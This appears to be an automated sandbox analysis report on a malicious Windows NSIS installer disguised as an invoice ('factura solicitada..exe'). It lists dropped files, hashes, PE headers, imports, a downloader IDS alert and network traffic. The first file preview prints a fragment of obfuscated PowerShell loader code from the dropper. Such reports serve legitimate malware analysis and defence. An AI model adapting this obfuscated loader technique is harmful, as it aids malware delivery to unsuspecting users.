Preview:	$Kartoteksfilernes=$Obtunding;........$Audienser = @'.Ammon.Brndi$Woch.PSwa drliquiofounttOverbeToolrs Austt K mmsSemioaEnsidnBarbegfilane U,ferStafe=Haand$Cow oPEngagr Hkk.oTi.kagFilisrGall,a kstemFeow,sNeurotS.mulnSchisiRho bnDi iggK etce ReconDykkesForplo Aflym ArkieEvigttUdvikr AfstoHeadsp .nthiDownsa Test;Outla.HjderfTaskeuNuetsnmellec Rippteffs,iph,lloChucknPapir Geog UA kumdSemifmUdlberh.emakDimeneMo arlSys esTril eSpil,r Specn DesteFdea.sAfsyr Reser( Ana,$ NitrSresp yBldermBoghabHet rrsubcoaLre inAspircStandhMismaiUnsuiaLammetsu.phe alsi,Botas$CaracW,ommuaTelynrBlousa LucitSma.mafarrahMedik)Appre Squa { ,drt.Shatt.Clea $TolerRArbeja SammdunsuriSportokoroasHeterhE traoKannew adia Natio(UnjagMMnemoe Kvadd,osaseUdenrjsemineExultrDestieLoofa Doce 'DiddiFInd yeCrankmToksih OveruNdven$Aceto alleT.iasprG ute, Mod nKletuST gnf Depile ensedBla dg estiR visyGoniaB.nimaaConcesDor ru onalnU.adom Sk uDBlseru PaatkGreigk,omprehu deb N.nsSand lpStok,aUdhamtCloraiEgal rHummaSUnrept peakoFer

C:\Users\user\AppData\Local\unproselyte\besparelses\Detentionens.txt

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	4.3948776942635615
Encrypted:	false
SSDEEP:	12:F4bKekHN4F0AyKRTEgIw7zMu8Gg9/uooo8eMoW5i:FKzuKR7PURznXW5i
MD5:	1B3C81323896BC6C8EAE3D515B30B374
SHA1:	94AFCC990513E71DA6DBC1DFF13249AD50B5C335
SHA-256:	828C5D969BEC4F80DD439CDAF0D7263A5C9D3B9032511C61B07BC74AB0D5058E
SHA-512:	B6ED681C518D873FC8121031CC4934BE5D0F54F73A88EC315B5DFE49A424B6F5AF9F9C5E485F58B055D49E39C713F3FB66352DDA1D08660AF807AC38D9FC9338
Malicious:	false
Preview:	;dristigheders vanist rippling afhugningerne,rabbanist telefonsamtales rechews kontroluret iranerens..;hammy baglommers haoma lyrerne tuftiest.Kaldesignalernes duali golfings milieureformers......Hyperlethargy libellulid policemanism myelocystocele lberes skovbundene kornsorts,lawgivers cerulescent infinitivisk nedkmpes alcuinian..unreefed pass phacopid brandtomts telefonvsnet.Hedgehop dyrefabler stalakits nedrigheden..Flippery jeffrey shampos gstelisterne himmellegemers praepositure unfallacious kentishman scf yohimbine submariners berringernes sheikly..

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	505618
Entropy (8bit):	7.957177140071769
Encrypted:	false
SSDEEP:	12288:sUatc/gP29iwihJafg1LUBCLousN3fjAmBmwG:sUatj2MhAB73fjAAmwG
MD5:	6124034FE55707E3EC7A9940B36A2640
SHA1:	FA817C784D46FDCFC065A264713C82F5F53B7288
SHA-256:	AA928F80E184381E6CB9E2A8E159334E3494999165CF97BCD71BDFBB61DCE2BF
SHA-512:	6EA1A6CADDAC4F0696731F42A726A5DF960AED0452AA347348805EE46F7E381BE1FE4FEEB6F79FA01883C248E99190A106E026973EB4DD93CA008605C6E8169E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 64%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L.....MX.................^..........m1.......p....@..........................p............@.................................(t.......0..x3...........................................................................p...............................text....\.......^.................. ..`.rdata..F....p.......b..............@..@.data................v..............@....ndata.......@...........................rsrc...x3...0...4...z..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\systemisable.bla

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	data
Category:	dropped
Size (bytes):	441686
Entropy (8bit):	1.249625139719605
Encrypted:	false
SSDEEP:	1536:srZlJOiJ1Hp1KXcE2QsiPVkdh2FeLZlovbu5f4E5vd+3KxIj:sdHHp9wHWdh2ANl64dMj
MD5:	40F062040AFB2447BB045CD7DA4BD507
SHA1:	13A3E5ABF75A0D0D86D4E403C134E774DD7F5C69
SHA-256:	68FFB8C636876EA0F945A81B7B6C1528AA0C6D159E0EC646EAA555802C229B31
SHA-512:	C62606010E7EA460CA60C8054FC284DF71CA09A4B7AE388E35BC58905F1A8807B39AD1170DD210A646DD48C0189D3B969991E26E040456013F1A58FD8FF89ECA
Malicious:	false
Preview:	........................................................................................................]...........................................................v..................X..........A...............^v.................................Y............D...............9......._.........."................a..........................................................................e....,..................................................................V.......................................q........................................................................................6........................O.X.......................................?.............................................................8................................L...........................N......n..!................).............................................................C...............................................O..........O..................................N....=.................

C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\undertavlers.txt

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	610
Entropy (8bit):	4.331406261405253
Encrypted:	false
SSDEEP:	12:yWT3soA/VAYgik2rIE1i5LFplEOZP8Vh0/MOtor:X9ky9o12pplEkM0/52
MD5:	8C3120C247F1EAD031171917C083CB45
SHA1:	24A1168EE10733CFF8E6482D6A7B3980EDE452DF
SHA-256:	EB9A4876E963719EC3E100DADAABD0303D3506A233E1FE02C76B63676FE9D81D
SHA-512:	A8A4CCFD9DA7601726ED1A50318C48882E060444A7AD00813269C74DD77FFEA35797FD5F504D3BD278C4C220D1E4591048D0003CCCEA1331974710E1015045F6
Malicious:	false
Preview:	ringspinder forringe ankomstkajen boletic delmomentet blyantstegningen peeseweep horrorous,nedriv omkostningshensynene bingeing stressful..Borteskamoterings mydatoxine merceriserer,vuggevises dotate attributvrditildelingers trevlekronen..ungothic kinke hovedlinierne bemyndigelsesloves blenched invasive trusterne bismagene afproevningsstrategi synonomous.Plimraadden cabrestos gauntry emilia eternalisation bogtrykt genkomsters nonsanctimoniously..[pemmicanises middelvrdiens]..;modsvarets supramortal unpatronized epistomata,incumbered cabrestas afnazificeredes clearheadedly sphenoiditis incognizant rinde..

C:\Users\user\AppData\Local\unproselyte\besparelses\baisse.Nen

Download File

Process:	C:\Users\user\Desktop\factura solicitada..exe
File Type:	data
Category:	dropped
Size (bytes):	317886
Entropy (8bit):	7.720892434715187
Encrypted:	false
SSDEEP:	6144:Z5LwqaU3NmrFW/r9kmOsJhwbNElD9aEAFIL+EZZr537leHTZ9R4tc0a:Xwq3dmrYD9km1nwbNElsE2IqwruThIcV
MD5:	6BBDEC47B65750CD9266F720D99E76F3
SHA1:	D223C07EF8854A171A7E0202AF2B60B4787CA4A1
SHA-256:	F71C9AB349C1BC83708AFAEE268572079A16F877490A0E876F7D0DB5C8681128
SHA-512:	16B9CA91942C945CA82DC8A73C7B1506E5DD579D2C405A7F31EE948B9DCDA2A4837BC6957CD5AC0B97A3070B65F1A90FCF1F0846F29217906BA93E69EF99A528
Malicious:	false
Preview:	..BB...............................AAAA....oooo...................yy....y...Q........................................ccc.....I..........=.?.yy.............qq..............p....SSS.......99..............f.......z..........FFF.W...............}}.....$$$.......mmm....EE.......................a..................... ...h.............kk.7................EE....r.........h.......ff.........k.......................1...........g.!....N.!!............88.....T........WW...hhhh.....66666..xxxx............................L.........................t..............h..................................p..........`...........m......".........1.}.....................NN........jj.................................xx./////////...~...X..8.......................&..........?..0000..iii."""".............2.............................1......jj.1.........bb...--.......WW..........88.....D..\\.....7777...AA......qqq....3................M.....g................r....................=...WW...............nn...............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.957177140071769
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	factura solicitada..exe
File size:	505'618 bytes
MD5:	6124034fe55707e3ec7a9940b36a2640
SHA1:	fa817c784d46fdcfc065a264713c82f5f53b7288
SHA256:	aa928f80e184381e6cb9e2a8e159334e3494999165cf97bcd71bdfbb61dce2bf
SHA512:	6ea1a6caddac4f0696731f42a726a5df960aed0452aa347348805ee46f7e381be1fe4feeb6f79fa01883c248e99190a106e026973eb4dd93ca008605c6e8169e
SSDEEP:	12288:sUatc/gP29iwihJafg1LUBCLousN3fjAmBmwG:sUatj2MhAB73fjAAmwG
TLSH:	48B4234168F05C73ECE686769FF6BF58C1B23D4302A04887E7A05B6A3A532C1991A5F7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L.....MX.................^.........

File Icon


Icon Hash:	7575555dcdcd5d43

Static PE Info

General

Entrypoint:	0x40316d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x584DCA2E [Sun Dec 11 21:50:38 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F43550281E3h
push ebx
call 00007F435502B151h
cmp eax, ebx
je 00007F43550281D9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F435502B0CDh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F43550281BDh
push ebp
push 00000009h
call 00007F435502B124h
push 00000007h
call 00007F435502B11Dh
mov dword ptr [00423704h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407174h]
push 00409188h
push 00422F00h
call 00007F435502AD47h
call dword ptr [0040709Ch]
mov ebp, 00429000h
push eax
push ebp
call 00007F435502AD35h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x33000	0x3378	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5cef	0x5e00	1d853b2e9c356730b666d8e1eddf5ee4	False	0.6637716090425532	data	6.441287066791648	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	4d3aee6f6a049c291967517d309fc019	False	0.638671875	data	5.114501100832899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0xf000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x33000	0x3378	0x3400	2175f89cb44af4b0116fd2dd4a454a52	False	0.4821965144230769	data	5.547944690812095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x33238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4953319502074689
RT_DIALOG	0x357e0	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x35928	0x100	data	English	United States	0.5234375
RT_DIALOG	0x35a28	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x35b48	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x35c10	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x35c70	0x14	data	English	United States	1.15
RT_VERSION	0x35c88	0x2c8	data	English	United States	0.48735955056179775
RT_MANIFEST	0x35f50	0x423	XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators	English	United States	0.5127478753541076

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
Comments	bishoprics stalagmitterne
FileDescription	embryologi opbryde
InternalName	mellemteksten.exe
LegalCopyright	lasernes
OriginalFilename	mellemteksten.exe
ProductName	entitle vrdifuldes anale
ProductVersion	1.5.0.0
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-19T20:37:08.520779+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.11	49952	142.250.185.78	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 20:37:07.432890892 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:07.432923079 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:07.432990074 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:07.446480989 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:07.446518898 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.112070084 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.112148046 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.112884045 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.112947941 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.163405895 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.163450956 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.163814068 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.163873911 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.166595936 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.211339951 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.520916939 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.521106005 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.521153927 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.521183968 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.521245003 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.522344112 CET	49952	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:08.522363901 CET	443	49952	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:08.564888954 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:08.564918995 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:08.565253019 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:08.565529108 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:08.565545082 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.201971054 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.202141047 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.207267046 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.207277060 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.207545996 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.208080053 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.208324909 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.251374006 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.613152981 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.613214970 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.613271952 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.613317013 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.613395929 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.643336058 CET	49962	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:09.643354893 CET	443	49962	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:09.752882004 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:09.752917051 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:09.753051996 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:09.753319979 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:09.753335953 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.402147055 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.402220964 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:10.402689934 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:10.402699947 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.402894974 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:10.402903080 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.787996054 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.789072990 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.789239883 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:10.789397955 CET	49969	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:10.789424896 CET	443	49969	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:10.801687002 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:10.801736116 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:10.801817894 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:10.802040100 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:10.802061081 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.442785025 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.447274923 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.447880030 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.447916031 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.448051929 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.448065996 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.873161077 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.873234034 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.873306036 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.873327017 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.873342037 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.873373032 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.873379946 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.873425007 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.874186993 CET	49979	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:11.874202013 CET	443	49979	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:11.986428976 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:11.986474991 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:11.986845016 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:11.986978054 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:11.986989021 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:12.621970892 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:12.622108936 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:12.622770071 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:12.622777939 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:12.623053074 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:12.623059034 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:13.000614882 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:13.000732899 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:13.000997066 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:13.001091003 CET	443	49980	142.250.185.78	192.168.2.11
Feb 19, 2025 20:37:13.001254082 CET	49980	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:37:13.008575916 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:13.008605003 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:13.008670092 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:13.008882999 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:13.008897066 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:13.658423901 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:13.658503056 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:13.659297943 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:13.659307957 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:13.659491062 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:13.659497023 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.072766066 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.072875023 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.072895050 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.072918892 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.072938919 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.072947979 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.072968960 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.073014021 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.073065042 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.073116064 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.073147058 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.073194981 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.073268890 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.073318958 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.074332952 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.074348927 CET	443	49981	172.217.16.129	192.168.2.11
Feb 19, 2025 20:37:14.074392080 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.076118946 CET	49981	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:37:14.190140963 CET	49982	443	192.168.2.11	142.250.185.78
